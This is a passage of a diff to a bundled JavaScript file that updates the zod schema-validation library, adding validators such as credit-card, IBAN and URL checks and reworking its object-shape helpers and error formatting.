_trim, @@ -63272,12 +63289,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor2 }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -63309,6 +63329,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -63316,8 +63337,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -63331,6 +63354,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -63386,10 +63410,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -63405,6 +63434,7 @@ __export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -63426,6 +63456,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -63474,6 +63505,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -63516,7 +63548,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -63529,18 +63566,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, meta: () => meta, parse: () => parse2, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -63549,94 +63598,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version2 + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version2, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _.prototype; - const keys = Object.keys(proto); - for (let i = 0; i < keys.length; i++) { - const k = keys[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_, "init", { value: init }); - Object.defineProperty(_, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_, "name", { value: name }); - return _; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -63647,6 +63629,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -63655,8 +63638,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -63669,11 +63656,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject, isPlainObject: () => isPlainObject, issue: () => issue, joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -63682,6 +63672,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -63690,11 +63681,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -63706,6 +63700,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -63726,21 +63723,25 @@ function jsonStringifyReplacer(_, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -63750,7 +63751,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -63789,6 +63790,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys, wrap) { + const raw = sourceShape(source); + for (const key of keys) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap ? wrap(value, key) : value; + }); + } else + putProp(target, key, wrap ? wrap(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -63827,8 +63878,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -64006,16 +64057,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -64027,23 +64078,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys.push(key); + } + return keys; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -64052,23 +64101,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -64077,45 +64113,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -64123,74 +64153,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -64223,29 +64205,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message) { return typeof message === "string" ? message : message?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max = d.maximum ?? d.length ?? d.size; + if (max >= 0) + caps.push([max, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; - rest.path ?? (rest.path = []); - rest.message = message; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message; if (ctx?.reportInput) { - rest.input = _input; + full.input = iss.input; } - return rest; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -64271,12 +64299,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -64328,43 +64356,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table) { + for (const key in table) { + const desc2 = Object.getOwnPropertyDescriptor(table, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj, key)) { + if (key === "__proto__") { + Object.defineProperty(obj, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj[key] = make(); + } + } + return obj[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -64381,27 +64678,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if (!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function 